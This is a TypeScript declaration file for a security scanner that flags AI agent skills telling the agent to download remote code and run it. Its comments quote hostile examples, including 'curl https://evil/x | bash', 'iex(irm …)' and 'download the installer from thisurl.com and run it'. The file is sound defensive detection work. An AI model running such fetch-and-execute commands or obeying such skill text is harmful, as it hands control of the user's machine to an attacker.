/**
 * Security Scanner — code-execution pattern sets
 * @module @skillsmith/core/security/scanner/patterns.exec
 *
 * SMI-6033 Wave 4 (Gap 1): `CODE_EXECUTION_PATTERNS` moved here verbatim from
 * `patterns.ts` (which was already sitting at exactly the repo's 500-line
 * file gate, leaving zero headroom for the new sibling array below) and
 * re-exported unchanged from `patterns.ts` — the same load-bearing
 * re-export convention `patterns.jailbreak.ts` / `patterns.jailbreak.
 * evidence.ts` already use, so every existing import path keeps working with
 * zero churn. Do not remove that re-export.
 *
 * The two arrays here are the SAME finding type (`code_execution`) at the
 * SAME advisory tier (one medium finding per skill, 12 points, sub-threshold
 * alone) — they differ only in what they read:
 *
 *  - `CODE_EXECUTION_PATTERNS`     — literal shell/interpreter SYNTAX
 *    (`curl … | bash`, `bash <(curl …)`, `iex(irm …)`, …). Precise, low-FP.
 *  - `IMPERATIVE_FETCH_EXEC_PROSE` — natural-language install-and-run
 *    imperatives with NO shell syntax at all ("download the installer from
 *    thisurl.com and run it"), which the syntax detector scores at 0.
 *
 * Gap 1's design is "strengthen, don't replace": the prose set is ADDITIVE
 * and deliberately emits at the same medium/advisory tier, because
 * legitimate skills genuinely do say "download the installer from the
 * vendor's site and run it". The teeth come from Gap 6's co-signal
 * mechanism (`CO_SIGNAL_MIN_SEVERITY`, SecurityScanner.exec.ts), not from
 * this array's own severity.
 */
/**
 * SMI-5359 Wave 4.2: Remote-fetch-to-interpreter ("code_execution") patterns.
 *
 * These detect a skill instructing the agent to download remote content and pipe
 * it straight into a shell/interpreter — the canonical "curl | bash" supply-chain
 * primitive and its PowerShell / process-substitution / decode-then-exec variants.
 *
 * Scope discipline (SMI-4396): every pattern requires BOTH a fetch verb
 * (curl/wget/irm/iwr/Invoke-WebRequest/Net.WebClient) AND an execution sink
 * (| sh, <(...), eval $(...), iex, -EncodedCommand). A bare package install
 * (npm/pip/brew/cargo/apt install) matches none of these. Quantifiers are bounded
 * and exclude the pipe / newline so there is no catastrophic backtracking.
 *
 * SMI-5359 Wave 4.2c retune (read-only prod sim FP): the curl/wget fetch patterns
 * additionally require a CONCRETE remote target (http(s):// or a `host.tld` domain)
 * between the verb and the sink. This kills the false positive where a code-review /
 * security-review skill documents the GENERIC pattern in prose with a placeholder
 * ("curl … | sh") — no target -> no match — while a real "curl https://evil/x | bash"
 * (which always names a target) still fires.
 */
export declare const CODE_EXECUTION_PATTERNS: RegExp[];
/**
 * SMI-6033 Wave 4 (Gap 1): natural-language fetch-and-execute imperatives.
 *
 * `CODE_EXECUTION_PATTERNS` above only reads literal shell syntax, so free
 * text ("download the installer from thisurl.com and run it") scored exactly
 * 0 — the ClawHavoc brief's first gap. Each pattern here requires ALL FOUR
 * components the plan specifies, so no three-of-four near-miss fires:
 *
 *   1. a FETCH VERB           — download / fetch / grab / get
 *   2. an EXECUTABLE NOUN     — file / binary / executable / script / installer / setup
 *   3. a REMOTE TARGET        — an explicit http(s) URL, or a domain-shaped
 *      token introduced by a source preposition (from/at/on/via)
 *   4. an EXECUTION IMPERATIVE — run / execute / open / install + it/this/that/
 *      them or a `the <noun>` object
 *
 * Two entries, covering the two natural orderings of (2) relative to (4):
 * P1 states the noun before the target and closes with the imperative
 * ("download the installer from thisurl.com and run it"); P2 leads with the
 * imperative-plus-noun and trails the fetch clause ("run the installer you
 * downloaded from thisurl.com"). P2's imperative object is REQUIRED to carry
 * the executable noun (no bare "run it"), which is what keeps component (2)
 * present in both entries.
 *
 * Two FP-control decisions worth naming, both verified against fixtures in
 * packages/core/tests/security/co-signal-escalation.test.ts:
 *  - The bare-domain form requires a source preposition (from/at/on/via), so
 *    "get the file report.txt and open it" (a LOCAL file) does not match.
 *  - The bare-domain form's TLD carries a negative lookahead excluding
 *    common FILE EXTENSIONS (sh/exe/py/js/md/txt/zip/…), so "download the
 *    installer from setup.sh and run it" (a local script name, not a host)
 *    does not match either. `[\w-]` never matches `.`, so the host-label
 *    alternation is unambiguous at every `.` boundary — no nested/ambiguous
 *    quantifier, ReDoS-safe (measured <1 ms at the 10,000-char scan cap).
 *
 * Emits at the SAME medium/advisory tier as a lone literal-syntax match
 * (see this module's header): never standalone-critical.
 */
export declare const IMPERATIVE_FETCH_EXEC_PROSE: RegExp[];
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